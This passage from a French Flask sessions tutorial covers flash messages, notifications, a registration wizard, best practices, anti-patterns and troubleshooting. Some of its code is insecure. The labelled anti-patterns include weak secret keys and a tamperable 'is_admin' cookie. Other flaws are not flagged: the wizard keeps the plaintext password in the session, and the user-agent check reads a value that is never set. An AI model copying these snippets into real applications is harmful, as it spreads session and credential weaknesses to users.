    fetch('/draft/save', {
        method: 'POST',
        body: formData
    }).then(resp => resp.json())
      .then(data => {
          if(data.status === 'saved') {
              console.log('Draft saved');
          }
      });
}, 30000);
</script>
"""


# ============================================================================
# [GUIDE] CHAPITRE 11 : FLASH MESSAGES ET NOTIFICATIONS
# ============================================================================

"""
[OBJECTIF] OBJECTIFS D'APPRENTISSAGE

À la fin de ce chapitre, vous saurez :
[OK] Utiliser flash messages efficacement
[OK] Catégories de messages
[OK] Messages persistants vs temporaires
[OK] Notifications avec sessions
[OK] Système de notifications complexe
"""


# ----------------------------------------------------------------------------
# [SPEECH_BALLOON] FLASH MESSAGES BASIQUES
# ----------------------------------------------------------------------------

"""
UTILISATION STANDARD
"""

from flask import flash, get_flashed_messages

@app.route('/action')
def some_action():
    """Utiliser flash messages"""
    
    # Message simple
    flash('Action effectuée avec succès')
    
    # Avec catégorie
    flash('Erreur lors du traitement', 'error')
    flash('Attention : stock faible', 'warning')
    flash('Opération réussie', 'success')
    flash('Information importante', 'info')
    
    return redirect(url_for('dashboard'))


"""
AFFICHER DANS TEMPLATE
"""

# templates/base.html
"""
<!DOCTYPE html>
<html>
<head>
    <title>Mon App</title>
</head>
<body>
    <!-- Afficher flash messages -->
    {% with messages = get_flashed_messages(with_categories=true) %}
        {% if messages %}
            <div class="flash-messages">
                {% for category, message in messages %}
                    <div class="alert alert-{{ category }}">
                        {{ message }}
                        <button onclick="this.parentElement.remove()">×</button>
                    </div>
                {% endfor %}
            </div>
        {% endif %}
    {% endwith %}
    
    {% block content %}{% endblock %}
</body>
</html>
"""


"""
[IDEE] COMMENT FLASH FONCTIONNE ?

Flash utilise la session pour stocker messages temporairement
"""

# Quand vous faites :
flash('Message', 'success')

# Flask fait :
session.setdefault('_flashes', []).append(('success', 'Message'))

# Dans le template :
messages = get_flashed_messages()  # Lit et SUPPRIME de session

# Après get_flashed_messages(), messages sont supprimés !


"""
[ATTENTION] PIÈGE : Messages affichés une seule fois
"""

# Route 1
@app.route('/action1')
def action1():
    flash('Message 1')
    return redirect(url_for('action2'))  # Redirige

# Route 2
@app.route('/action2')
def action2():
    flash('Message 2')
    return render_template('page.html')  # Affiche template

# Template affiche :
# - Message 1 [OK]
# - Message 2 [OK]

# Mais si on rafraîchit la page :
# - Messages disparus ! (déjà consommés)


# ----------------------------------------------------------------------------
# [NOTIF] SYSTÈME DE NOTIFICATIONS PERSISTANTES
# ----------------------------------------------------------------------------

"""
NOTIFICATIONS QUI SURVIVENT AUX REFRESHS
"""

class Notification:
    """
    [IDEE] SYSTÈME DE NOTIFICATIONS PERSISTANTES
    
    Contrairement à flash qui est consommé,
    les notifications restent jusqu'à lecture
    """
    
    def __init__(self, session):
        self.session = session
        
        if 'notifications' not in session:
            session['notifications'] = []
        
        self.notifications = session['notifications']
    
    def add(self, message, category='info', persistent=True):
        """Ajouter notification"""
        import uuid
        
        notif = {
            'id': str(uuid.uuid4()),
            'message': message,
            'category': category,
            'timestamp': datetime.utcnow().isoformat(),
            'read': False,
            'persistent': persistent
        }
        
        self.notifications.append(notif)
        self.session['notifications'] = self.notifications
        self.session.modified = True
    
    def get_unread(self):
        """Obtenir notifications non lues"""
        return [n for n in self.notifications if not n['read']]
    
    def get_all(self):
        """Obtenir toutes les notifications"""
        return self.notifications
    
    def mark_as_read(self, notification_id):
        """Marquer comme lu"""
        for notif in self.notifications:
            if notif['id'] == notification_id:
                notif['read'] = True
                break
        
        self.session['notifications'] = self.notifications
        self.session.modified = True
    
    def mark_all_read(self):
        """Marquer tout comme lu"""
        for notif in self.notifications:
            notif['read'] = True
        
        self.session['notifications'] = self.notifications
        self.session.modified = True
    
    def clear_read(self):
        """Supprimer notifications lues"""
        self.notifications = [n for n in self.notifications if not n['read']]
        self.session['notifications'] = self.notifications
        self.session.modified = True
    
    def count_unread(self):
        """Compter non lues"""
        return len(self.get_unread())


"""
ROUTES NOTIFICATIONS
"""

from notification import Notification

@app.route('/notifications')
@login_required
def view_notifications():
    """Afficher toutes les notifications"""
    
    notif = Notification(session)
    
    return render_template('notifications.html',
                         notifications=notif.get_all(),
                         unread_count=notif.count_unread())


@app.route('/notifications/mark-read/<notification_id>')
@login_required
def mark_notification_read(notification_id):
    """Marquer notification comme lue"""
    
    notif = Notification(session)
    notif.mark_as_read(notification_id)
    
    return redirect(url_for('view_notifications'))


@app.route('/notifications/mark-all-read')
@login_required
def mark_all_notifications_read():
    """Marquer tout comme lu"""
    
    notif = Notification(session)
    notif.mark_all_read()
    
    flash('Toutes les notifications marquées comme lues.', 'info')
    
    return redirect(url_for('view_notifications'))


"""
AFFICHER BADGE NOTIFICATIONS NON LUES
"""

@app.context_processor
def inject_notifications():
    """Rendre notifications disponibles dans tous les templates"""
    
    notif = Notification(session)
    
    return {
        'unread_notifications': notif.get_unread(),
        'unread_count': notif.count_unread()
    }


# templates/base.html
"""
<nav>
    <a href="{{ url_for('dashboard') }}">Dashboard</a>
    
    <a href="{{ url_for('view_notifications') }}">
        Notifications
        {% if unread_count > 0 %}
            <span class="badge">{{ unread_count }}</span>
        {% endif %}
    </a>
</nav>
"""


# ============================================================================
# [GUIDE] CHAPITRE 12 : FORMULAIRES MULTI-ÉTAPES (WIZARDS)
# ============================================================================

"""
[OBJECTIF] OBJECTIFS D'APPRENTISSAGE

À la fin de ce chapitre, vous saurez :
[OK] Créer wizard multi-étapes
[OK] Stocker données entre étapes
[OK] Navigation avant/arrière
[OK] Validation par étape
[OK] Récapitulatif et soumission finale
"""


# ----------------------------------------------------------------------------
# [MAGE] WIZARD INSCRIPTION COMPLET
# ----------------------------------------------------------------------------

"""
STRUCTURE WIZARD
"""

# wizard.py

class RegistrationWizard:
    """
    [IDEE] WIZARD D'INSCRIPTION EN 4 ÉTAPES
    
    Étape 1 : Informations de base
    Étape 2 : Informations contact
    Étape 3 : Préférences
    Étape 4 : Récapitulatif
    """
    
    STEPS = ['basic', 'contact', 'preferences', 'review']
    
    def __init__(self, session):
        self.session = session
        
        # Initialiser wizard data
        if 'wizard_data' not in session:
            session['wizard_data'] = {}
            session['wizard_step'] = 0
        
        self.data = session['wizard_data']
        self.step = session['wizard_step']
    
    def get_current_step(self):
        """Obtenir étape actuelle"""
        return self.STEPS[self.step]
    
    def is_last_step(self):
        """Dernière étape ?"""
        return self.step == len(self.STEPS) - 1
    
    def next_step(self):
        """Passer à l'étape suivante"""
        if not self.is_last_step():
            self.step += 1
            self.session['wizard_step'] = self.step
            self.session.modified = True
    
    def previous_step(self):
        """Retour étape précédente"""
        if self.step > 0:
            self.step -= 1
            self.session['wizard_step'] = self.step
            self.session.modified = True
    
    def save_step_data(self, step_name, data):
        """Sauvegarder données d'une étape"""
        self.data[step_name] = data
        self.session['wizard_data'] = self.data
        self.session.modified = True
    
    def get_step_data(self, step_name):
        """Obtenir données d'une étape"""
        return self.data.get(step_name, {})
    
    def get_all_data(self):
        """Obtenir toutes les données"""
        return self.data
    
    def reset(self):
        """Réinitialiser wizard"""
        self.session['wizard_data'] = {}
        self.session['wizard_step'] = 0
        self.session.modified = True
    
    def get_progress(self):
        """Obtenir progression (%)"""
        return int((self.step + 1) / len(self.STEPS) * 100)


"""
ROUTES WIZARD
"""

from wizard import RegistrationWizard

@app.route('/register-wizard', methods=['GET', 'POST'])
def register_wizard():
    """Point d'entrée wizard"""
    
    wizard = RegistrationWizard(session)
    current_step = wizard.get_current_step()
    
    # Rediriger vers étape actuelle
    return redirect(url_for(f'wizard_step_{current_step}'))


# ============================================================================
# ÉTAPE 1 : INFORMATIONS DE BASE
# ============================================================================

@app.route('/register/step/basic', methods=['GET', 'POST'])
def wizard_step_basic():
    """Étape 1 : Username, Email, Password"""
    
    wizard = RegistrationWizard(session)
    
    if request.method == 'POST':
        # Valider données
        username = request.form.get('username')
        email = request.form.get('email')
        password = request.form.get('password')
        
        errors = []
        
        # Validation
        if not username or len(username) < 3:
            errors.append('Username doit faire au moins 3 caractères')
        
        if not email or '@' not in email:
            errors.append('Email invalide')
        
        if not password or len(password) < 8:
            errors.append('Password doit faire au moins 8 caractères')
        
        # Vérifier username unique
        if User.query.filter_by(username=username).first():
            errors.append('Username déjà pris')
        
        if errors:
            for error in errors:
                flash(error, 'danger')
            return render_template('wizard/step_basic.html', 
                                 wizard=wizard,
                                 data=request.form)
        
        # Sauvegarder données étape
        wizard.save_step_data('basic', {
            'username': username,
            'email': email,
            'password': password
        })
        
        # Passer à l'étape suivante
        wizard.next_step()
        return redirect(url_for('wizard_step_contact'))
    
    # GET : Afficher formulaire avec données existantes
    data = wizard.get_step_data('basic')
    
    return render_template('wizard/step_basic.html',
                         wizard=wizard,
                         data=data)


# ============================================================================
# ÉTAPE 2 : CONTACT
# ============================================================================

@app.route('/register/step/contact', methods=['GET', 'POST'])
def wizard_step_contact():
    """Étape 2 : Téléphone, Adresse"""
    
    wizard = RegistrationWizard(session)
    
    # Vérifier étape précédente complétée
    if 'basic' not in wizard.data:
        return redirect(url_for('wizard_step_basic'))
    
    if request.method == 'POST':
        # Gestion bouton précédent
        if 'previous' in request.form:
            wizard.previous_step()
            return redirect(url_for('wizard_step_basic'))
        
        # Sauvegarder données
        wizard.save_step_data('contact', {
            'phone': request.form.get('phone'),
            'address': request.form.get('address'),
            'city': request.form.get('city'),
            'country': request.form.get('country')
        })
        
        # Suivant
        wizard.next_step()
        return redirect(url_for('wizard_step_preferences'))
    
    data = wizard.get_step_data('contact')
    
    return render_template('wizard/step_contact.html',
                         wizard=wizard,
                         data=data)


# ============================================================================
# ÉTAPE 3 : PRÉFÉRENCES
# ============================================================================

@app.route('/register/step/preferences', methods=['GET', 'POST'])
def wizard_step_preferences():
    """Étape 3 : Langue, Notifications"""
    
    wizard = RegistrationWizard(session)
    
    if 'contact' not in wizard.data:
        return redirect(url_for('wizard_step_contact'))
    
    if request.method == 'POST':
        if 'previous' in request.form:
            wizard.previous_step()
            return redirect(url_for('wizard_step_contact'))
        
        wizard.save_step_data('preferences', {
            'language': request.form.get('language', 'fr'),
            'theme': request.form.get('theme', 'light'),
            'email_notifications': 'email_notif' in request.form
        })
        
        wizard.next_step()
        return redirect(url_for('wizard_step_review'))
    
    data = wizard.get_step_data('preferences')
    
    return render_template('wizard/step_preferences.html',
                         wizard=wizard,
                         data=data)


# ============================================================================
# ÉTAPE 4 : RÉCAPITULATIF ET SOUMISSION
# ============================================================================

@app.route('/register/step/review', methods=['GET', 'POST'])
def wizard_step_review():
    """Étape 4 : Récapitulatif et création compte"""
    
    wizard = RegistrationWizard(session)
    
    if 'preferences' not in wizard.data:
        return redirect(url_for('wizard_step_preferences'))
    
    if request.method == 'POST':
        if 'previous' in request.form:
            wizard.previous_step()
            return redirect(url_for('wizard_step_preferences'))
        
        # [OK] CRÉER COMPTE FINAL
        all_data = wizard.get_all_data()
        
        try:
            # Créer utilisateur
            user = User(
                username=all_data['basic']['username'],
                email=all_data['basic']['email']
            )
            user.set_password(all_data['basic']['password'])
            
            # Données supplémentaires (sauvegarder en JSON ou tables séparées)
            # user.contact_info = json.dumps(all_data['contact'])
            # user.preferences = json.dumps(all_data['preferences'])
            
            db.session.add(user)
            db.session.commit()
            
            # Nettoyer wizard
            wizard.reset()
            
            # Connecter automatiquement
            session['user_id'] = user.id
            session['username'] = user.username
            
            flash('Compte créé avec succès !', 'success')
            return redirect(url_for('dashboard'))
            
        except Exception as e:
            db.session.rollback()
            flash(f'Erreur lors de la création : {str(e)}', 'danger')
    
    # Afficher récapitulatif
    all_data = wizard.get_all_data()
    
    return render_template('wizard/step_review.html',
                         wizard=wizard,
                         data=all_data)


"""
TEMPLATE WIZARD AVEC BARRE DE PROGRESSION
"""

# templates/wizard/base_wizard.html
"""
<!DOCTYPE html>
<html>
<head>
    <title>Inscription - {% block step_title %}{% endblock %}</title>
    <style>
        .progress-bar {
            width: 100%;
            height: 30px;
            background: #e0e0e0;
            border-radius: 15px;
        }
        .progress-fill {
            height: 100%;
            background: #4caf50;
            border-radius: 15px;
            transition: width 0.3s;
        }
    </style>
</head>
<body>
    <!-- Barre de progression -->
    <div class="progress-bar">
        <div class="progress-fill" style="width: {{ wizard.get_progress() }}%"></div>
    </div>
    
    <p>Étape {{ wizard.step + 1 }} sur {{ wizard.STEPS|length }}</p>
    
    <!-- Contenu étape -->
    {% block content %}{% endblock %}
</body>
</html>
"""


# ----------------------------------------------------------------------------
# [DOCS] RÉCAPITULATIF PARTIE 3
# ----------------------------------------------------------------------------

"""
CE QUE VOUS AVEZ APPRIS

Chapitre 8 : Authentification Complète
[OK] Système auth complet (register, login, logout)
[OK] Remember Me avec cookies persistants
[OK] Protection Session Fixation/Hijacking
[OK] Timeout d'inactivité
[OK] Gestion permissions

Chapitre 9 : Panier d'Achat
[OK] Classe Cart complète
[OK] Add/Remove/Update/Clear
[OK] Calcul totaux automatique
[OK] Panier guest vs connecté
[OK] Fusion paniers à la connexion
[OK] Persistence avec cookies

Chapitre 10 : Gestion État
[OK] Préférences utilisateur (langue, thème, etc.)
[OK] Historique de navigation
[OK] Breadcrumbs automatiques
[OK] Auto-save formulaires
[OK] Récupération brouillons

Chapitre 11 : Notifications
[OK] Flash messages avec catégories
[OK] Système notifications persistantes
[OK] Badge notifications non lues
[OK] Marquer comme lu/non lu

Chapitre 12 : Wizards Multi-étapes
[OK] Classe RegistrationWizard complète
[OK] Navigation avant/arrière
[OK] Validation par étape
[OK] Barre de progression
[OK] Récapitulatif final


[CLE] PATTERNS IMPORTANTS

1. Classe helper pour logique complexe (Cart, Wizard, etc.)
2. session.modified = True pour modifications en place
3. Vérifier étapes précédentes dans wizards
4. Fusionner données guest/user à la connexion
5. Contexte processors pour données globales


-> PROCHAINE ÉTAPE : Partie 4 - Production et Avancé

Vous allez apprendre :
- Performance et optimisation
- Monitoring et debugging
- Déploiement production
- Sessions distribuées avancées
- Best practices finales

La dernière partie ! [RAPIDE]
"""

# ============================================================================
# [LIVRE] SESSIONS FLASK - PARTIE 4 (FIN) : BEST PRACTICES ET RÉFÉRENCE
# ============================================================================

# Suite et fin de la Partie 4


# ============================================================================
# [GUIDE] CHAPITRE 17 : BEST PRACTICES ET PATTERNS AVANCÉS
# ============================================================================

"""
[OBJECTIF] OBJECTIFS D'APPRENTISSAGE

À la fin de ce chapitre, vous saurez :
[OK] Patterns avancés de sessions
[OK] Anti-patterns à éviter
[OK] Architecture propre
[OK] Testing de sessions
[OK] Documentation et maintenance
"""


# ----------------------------------------------------------------------------
# [OK] BEST PRACTICES COMPLÈTES
# ----------------------------------------------------------------------------

"""
CHECKLIST COMPLÈTE SESSIONS
"""

# ═══════════════════════════════════════════════════════════════════════════
# 1. SÉCURITÉ
# ═══════════════════════════════════════════════════════════════════════════

# [OK] SECRET_KEY forte (32+ caractères)
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')
assert len(app.config['SECRET_KEY']) >= 32, "SECRET_KEY trop courte"

# [OK] HttpOnly activé (protection XSS)
app.config['SESSION_COOKIE_HTTPONLY'] = True

# [OK] Secure en production (HTTPS uniquement)
if not app.debug:
    app.config['SESSION_COOKIE_SECURE'] = True

# [OK] SameSite pour CSRF
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'

# [OK] Régénérer session après login
@app.route('/login', methods=['POST'])
def login():
    # ... authentification ...
    
    # Régénérer
    old_data = {k: v for k, v in session.items() if not k.startswith('_')}
    session.clear()
    session.update(old_data)
    
    session['user_id'] = user.id
    return redirect(url_for('dashboard'))

# [OK] Vérifier empreinte session
@app.before_request
def verify_session():
    if 'user_id' in session:
        stored_ua = session.get('_user_agent')
        if stored_ua != request.user_agent.string:
            session.clear()
            return redirect(url_for('login'))

# [OK] Timeout d'inactivité
@app.before_request
def check_timeout():
    if 'user_id' in session:
        last = session.get('_last_activity')
        if last:
            from datetime import datetime
            if (datetime.utcnow() - datetime.fromisoformat(last)).seconds > 1800:
                session.clear()
                return redirect(url_for('login'))
        session['_last_activity'] = datetime.utcnow().isoformat()


# ═══════════════════════════════════════════════════════════════════════════
# 2. PERFORMANCE
# ═══════════════════════════════════════════════════════════════════════════

# [OK] Stocker seulement IDs, pas objets complets
# [X] MAUVAIS
session['user'] = user.to_dict()  # Tout l'objet
session['products'] = [p.to_dict() for p in products]  # Liste complète

# [OK] BON
session['user_id'] = user.id  # Seulement ID
session['viewed_product_ids'] = [p.id for p in products[:10]]  # IDs limités

# [OK] Utiliser Redis en production
if not app.debug:
    app.config['SESSION_TYPE'] = 'redis'
    app.config['SESSION_REDIS'] = redis.from_url(os.environ['REDIS_URL'])

# [OK] Compression pour grandes données
def save_large_data(key, data):
    import zlib, base64, json
    compressed = zlib.compress(json.dumps(data).encode())
    session[key] = base64.b64encode(compressed).decode()

# [OK] Expiration appropriée
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=24)


# ═══════════════════════════════════════════════════════════════════════════
# 3. MAINTENABILITÉ
# ═══════════════════════════════════════════════════════════════════════════

# [OK] Classe helper pour logique complexe
class ShoppingCart:
    def __init__(self, session):
        self.session = session
        self.cart = session.setdefault('cart', {'items': {}, 'total': 0})
    
    def add(self, product, qty=1):
        # ... logique ...
        self.session.modified = True

# [OK] Constantes pour clés
class SessionKeys:
    USER_ID = 'user_id'
    CART = 'cart'
    PREFERENCES = 'preferences'
    LAST_ACTIVITY = '_last_activity'

# Usage
session[SessionKeys.USER_ID] = 123

# [OK] Type hints
from typing import Optional, Dict, Any

def get_user_from_session() -> Optional[User]:
    user_id = session.get(SessionKeys.USER_ID)
    if user_id:
        return User.query.get(user_id)
    return None

# [OK] Documentation
def save_wizard_step(step: str, data: Dict[str, Any]) -> None:
    """
    Sauvegarder étape du wizard en session.
    
    Args:
        step: Nom de l'étape ('basic', 'contact', etc.)
        data: Données à sauvegarder
    
    Example:
        >>> save_wizard_step('basic', {'username': 'alice'})
    """
    session.setdefault('wizard', {})[step] = data
    session.modified = True


# ═══════════════════════════════════════════════════════════════════════════
# 4. TESTING
# ═══════════════════════════════════════════════════════════════════════════

# [OK] Tests avec session
import pytest
from flask import session

def test_login_creates_session(client, app):
    """Test que login crée session"""
    
    with app.test_client() as client:
        # Login
        response = client.post('/login', data={
            'username': 'testuser',
            'password': 'testpass'
        })
        
        # Vérifier session créée
        with client.session_transaction() as sess:
            assert 'user_id' in sess
            assert sess['user_id'] == 1

def test_cart_operations(client):
    """Test opérations panier"""
    
    with client.session_transaction() as sess:
        # Initialiser panier vide
        sess['cart'] = {'items': {}, 'total': 0}
    
    # Ajouter produit
    response = client.post('/cart/add/1', data={'quantity': 2})
    
    with client.session_transaction() as sess:
        assert '1' in sess['cart']['items']
        assert sess['cart']['items']['1']['quantity'] == 2

def test_session_timeout(client, app):
    """Test timeout session"""
    
    from datetime import datetime, timedelta
    
    with client.session_transaction() as sess:
        sess['user_id'] = 1
        # Dernière activité il y a 2 heures
        sess['_last_activity'] = (datetime.utcnow() - timedelta(hours=2)).isoformat()
    
    # Requête -> doit déconnecter
    response = client.get('/dashboard')
    
    assert response.status_code == 302  # Redirect
    assert '/login' in response.location


# ═══════════════════════════════════════════════════════════════════════════
# 5. MONITORING
# ═══════════════════════════════════════════════════════════════════════════

# [OK] Logger créations/destructions
import logging

@app.before_request
def log_session_activity():
    if session.new:
        logging.info(f"New session created: {request.endpoint}")
    
    if 'user_id' in session:
        logging.debug(f"Session active - User: {session['user_id']}")

# [OK] Métriques
from prometheus_client import Counter

session_created = Counter('sessions_created_total', 'Total sessions')

@app.before_request
def track_sessions():
    if session.new:
        session_created.inc()

# [OK] Alertes si anomalies
@app.before_request
def detect_anomalies():
    import sys
    
    size = sys.getsizeof(str(dict(session)))
    
    # Alerte si session > 10 KB
    if size > 10000:
        logging.warning(
            f"Large session detected: {size} bytes on {request.endpoint}"
        )


# ----------------------------------------------------------------------------
# [X] ANTI-PATTERNS À ÉVITER
# ----------------------------------------------------------------------------

"""
LISTE DES ERREURS COURANTES
"""

# ═══════════════════════════════════════════════════════════════════════════
# 1. STOCKER TROP DE DONNÉES
# ═══════════════════════════════════════════════════════════════════════════

# [X] MAUVAIS
@app.route('/products')
def products():
    products = Product.query.all()  # 10,000 produits
    session['all_products'] = [p.to_dict() for p in products]
    # -> Session énorme !

# [OK] BON
@app.route('/products')
def products():
    products = Product.query.limit(20).all()
    session['viewed_product_ids'] = [p.id for p in products]
    # -> Session petite


# ═══════════════════════════════════════════════════════════════════════════
# 2. OUBLIER session.modified
# ═══════════════════════════════════════════════════════════════════════════

# [X] MAUVAIS
@app.route('/cart/add/<int:product_id>')
def add_to_cart(product_id):
    session['cart']['items'].append(product_id)
    # [X] Modification en place pas détectée !

# [OK] BON
@app.route('/cart/add/<int:product_id>')
def add_to_cart(product_id):
    cart = session['cart']
    cart['items'].append(product_id)
    session['cart'] = cart  # Réassigner
    # OU
    session.modified = True


# ═══════════════════════════════════════════════════════════════════════════
# 3. STOCKER DONNÉES SENSIBLES
# ═══════════════════════════════════════════════════════════════════════════

# [X] MAUVAIS
session['password'] = user.password
session['credit_card'] = card.number
session['ssn'] = user.ssn

# [OK] BON
session['user_id'] = user.id
# Données sensibles -> Base de données uniquement


# ═══════════════════════════════════════════════════════════════════════════
# 4. SECRET_KEY FAIBLE
# ═══════════════════════════════════════════════════════════════════════════

# [X] MAUVAIS
app.config['SECRET_KEY'] = 'secret'
app.config['SECRET_KEY'] = 'dev'
app.config['SECRET_KEY'] = '12345'

# [OK] BON
import secrets
app.config['SECRET_KEY'] = secrets.token_hex(32)
# Ou depuis env :
app.config['SECRET_KEY'] = os.environ['SECRET_KEY']


# ═══════════════════════════════════════════════════════════════════════════
# 5. NE PAS RÉGÉNÉRER SESSION APRÈS LOGIN
# ═══════════════════════════════════════════════════════════════════════════

# [X] MAUVAIS (vulnérable à Session Fixation)
@app.route('/login', methods=['POST'])
def login():
    # ... auth ...
    session['user_id'] = user.id  # Réutilise session existante !

# [OK] BON
@app.route('/login', methods=['POST'])
def login():
    # ... auth ...
    session.clear()  # Supprimer ancienne session
    session['user_id'] = user.id  # Nouvelle session


# ═══════════════════════════════════════════════════════════════════════════
# 6. UTILISER COOKIES AU LIEU DE SESSIONS
# ═══════════════════════════════════════════════════════════════════════════

# [X] MAUVAIS (pour données utilisateur)
@app.route('/save')
def save():
    resp = make_response("OK")
    resp.set_cookie('user_id', str(user.id))  # Non signé !
    resp.set_cookie('is_admin', 'true')  # User peut modifier !

# [OK] BON
@app.route('/save')
def save():
    session['user_id'] = user.id  # Signé par Flask
    session['is_admin'] = True  # Tamper-proof


# ═══════════════════════════════════════════════════════════════════════════
# 7. NE PAS GÉRER EXPIRATION
# ═══════════════════════════════════════════════════════════════════════════

# [X] MAUVAIS (session éternelle)
# Pas de configuration expiration

# [OK] BON
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=24)

@app.route('/login')
def login():
    session.permanent = True  # Activer expiration


# ----------------------------------------------------------------------------
# [CONSTRUCTION] ARCHITECTURE PROPRE
# ----------------------------------------------------------------------------

"""
STRUCTURE RECOMMANDÉE
"""

# project/
# ├── app/
# │   ├── __init__.py           # Application factory
# │   ├── config.py             # Configuration
# │   ├── models.py             # Modèles DB
# │   ├── auth/
# │   │   ├── __init__.py
# │   │   ├── routes.py         # Routes auth
# │   │   ├── forms.py          # Formulaires
# │   │   └── utils.py          # Helpers auth
# │   ├── session_utils/
# │   │   ├── __init__.py
# │   │   ├── cart.py           # Classe Cart
# │   │   ├── wizard.py         # Classe Wizard
# │   │   └── preferences.py    # Classe Preferences
# │   └── main/
# │       ├── __init__.py
# │       └── routes.py
# ├── tests/
# │   ├── test_auth.py
# │   ├── test_cart.py
# │   └── test_session.py
# ├── requirements.txt
# ├── docker-compose.yml
# └── .env.example


"""
APPLICATION FACTORY PATTERN
"""

# app/__init__.py

from flask import Flask
from flask_session import Session
from flask_sqlalchemy import SQLAlchemy
import redis

db = SQLAlchemy()
sess = Session()

def create_app(config_name='default'):
    """
    [IDEE] APPLICATION FACTORY
    
    Crée et configure l'application Flask
    """
    
    app = Flask(__name__)
    
    # Configuration
    app.config.from_object(f'config.{config_name.title()}Config')
    
    # Initialiser extensions
    db.init_app(app)
    sess.init_app(app)
    
    # Blueprints
    from app.auth import auth_bp
    from app.main import main_bp
    
    app.register_blueprint(auth_bp, url_prefix='/auth')
    app.register_blueprint(main_bp)
    
    # Hooks globaux
    register_hooks(app)
    
    return app


def register_hooks(app):
    """Enregistrer hooks application"""
    
    @app.before_request
    def verify_session_security():
        # Vérifications sécurité
        pass
    
    @app.before_request
    def check_session_timeout():
        # Timeout inactivité
        pass


"""
CONFIGURATION MODULAIRE
"""

# config.py

import os
from datetime import timedelta
import secrets

class Config:
    """Configuration de base"""
    
    SECRET_KEY = os.environ.get('SECRET_KEY')
    
    # Session
    SESSION_COOKIE_HTTPONLY = True
    SESSION_COOKIE_SAMESITE = 'Lax'
    PERMANENT_SESSION_LIFETIME = timedelta(days=7)


class DevelopmentConfig(Config):
    """Configuration développement"""
    
    DEBUG = True
    SESSION_TYPE = 'filesystem'
    SESSION_COOKIE_SECURE = False


class ProductionConfig(Config):
    """Configuration production"""
    
    DEBUG = False
    SESSION_TYPE = 'redis'
    SESSION_REDIS = redis.from_url(os.environ['REDIS_URL'])
    SESSION_COOKIE_SECURE = True
    
    # Validation
    if not Config.SECRET_KEY:
        raise ValueError("SECRET_KEY required in production")


class TestingConfig(Config):
    """Configuration tests"""
    
    TESTING = True
    SESSION_TYPE = 'null'  # Client-side pour tests


# ============================================================================
# [GUIDE] CHAPITRE 18 : TROUBLESHOOTING ET SOLUTIONS
# ============================================================================

"""
[OBJECTIF] OBJECTIFS D'APPRENTISSAGE

À la fin de ce chapitre, vous saurez :
[OK] Diagnostiquer problèmes courants
[OK] Solutions aux erreurs fréquentes
[OK] Debugging efficace
[OK] Outils de diagnostic
"""


# ----------------------------------------------------------------------------
# [BUG] PROBLÈMES COURANTS ET SOLUTIONS
# ----------------------------------------------------------------------------

"""
═══════════════════════════════════════════════════════════════════════════
PROBLÈME 1 : SESSION NE PERSISTE PAS
═══════════════════════════════════════════════════════════════════════════
"""

# SYMPTÔME :
# - Session créée dans une route
# - Disparaît dans route suivante

# CAUSES POSSIBLES :

# 1. SECRET_KEY manquante
# [X] app.config['SECRET_KEY'] = None
# [OK] app.config['SECRET_KEY'] = 'votre-secret-key'

# 2. Modification en place non détectée
# [X] session['cart'].append(item)
# [OK] session.modified = True
# [OK] cart = session['cart']; cart.append(item); session['cart'] = cart

# 3. Cookies désactivés dans navigateur
# Solution : Vérifier paramètres navigateur

# 4. Cookie non envoyé (domain/path incorrects)
# [X] app.config['SESSION_COOKIE_DOMAIN'] = 'wrong.com'
# [OK] app.config['SESSION_COOKIE_DOMAIN'] = None  # Auto

# 5. HTTPS requis mais non utilisé
# [X] app.config['SESSION_COOKIE_SECURE'] = True  # Mais site en HTTP
# [OK] app.config['SESSION_COOKIE_SECURE'] = False  # Dev HTTP OK


"""
═══════════════════════════════════════════════════════════════════════════
PROBLÈME 2 : SESSION TROP VOLUMINEUSE
═══════════════════════════════════════════════════════════════════════════
"""

# SYMPTÔME :
# - Erreur "Cookie too large"
# - Performance dégradée

# DIAGNOSTIC :
import sys
size = sys.getsizeof(str(dict(session)))
print(f"Session size: {size} bytes")

# SOLUTIONS :

# 1. Stocker seulement IDs
# [X] session['products'] = [p.to_dict() for p in products]
# [OK] session['product_ids'] = [p.id for p in products]

# 2. Utiliser Redis
app.config['SESSION_TYPE'] = 'redis'

# 3. Compression
# Voir chapitre 13

# 4. Pagination
# Au lieu de stocker 1000 items, stocker seulement page actuelle


"""
═══════════════════════════════════════════════════════════════════════════
PROBLÈME 3 : SESSION PERDUE APRÈS DEPLOYMENT
═══════════════════════════════════════════════════════════════════════════
"""

# SYMPTÔME :
# - Users déconnectés après deploy
# - Sessions invalides

# CAUSES :

# 1. SECRET_KEY changée
# [OK] SECRET_KEY doit être IDENTIQUE avant/après deploy
# [OK] Utiliser variable d'environnement

# 2. Sessions filesystem perdues
# Problème : Filesystem sessions dans /tmp -> effacées au redémarrage
# [OK] Solution : Utiliser Redis

# 3. Multi-serveurs avec sessions locales
# [OK] Solution : Redis partagé entre serveurs


"""
═══════════════════════════════════════════════════════════════════════════
PROBLÈME 4 : REDIS CONNECTION ERROR
═══════════════════════════════════════════════════════════════════════════
"""

# SYMPTÔME :
# redis.exceptions.ConnectionError: Error connecting to Redis

# SOLUTIONS :

# 1. Vérifier Redis running
# redis-cli ping
# PONG -> OK

# 2. Vérifier URL
app.config['SESSION_REDIS'] = redis.from_url('redis://localhost:6379/0')

# 3. Timeout configuration
app.config['SESSION_REDIS'] = redis.Redis(
    host='localhost',
    port=6379,
    socket_connect_timeout=5,
    socket_timeout=5,
    retry_on_timeout=True
)

# 4. Fallback si Redis down
# Voir chapitre 15


"""
═══════════════════════════════════════════════════════════════════════════
PROBLÈME 5 : CSRF TOKEN MISSING
═══════════════════════════════════════════════════════════════════════════
"""

# SYMPTÔME :
# 400 Bad Request - CSRF token missing

# CAUSES :

# 1. Flask-WTF sans token dans formulaire
# [X] <form method="POST">
# [OK] <form method="POST">{{ form.hidden_tag() }}</form>

# 2. Session expirée
# Token CSRF stocké en session -> si session expire, token invalide
# [OK] Augmenter durée session

# 3. Multi-serveurs avec SECRET_KEY différentes
# [OK] SECRET_KEY identique sur tous serveurs


"""
═══════════════════════════════════════════════════════════════════════════
PROBLÈME 6 : SESSION HIJACKING DÉTECTÉ
═══════════════════════════════════════════════════════════════════════════
"""

# SYMPTÔME :
# User déconnecté fréquemment avec message "Session invalide"

# CAUSES :

# 1. User-Agent change (extensions navigateur)
# Solution : Ne pas vérifier User-Agent strictement
# Ou utiliser hash partiel

# 2. IP change (mobile, VPN)
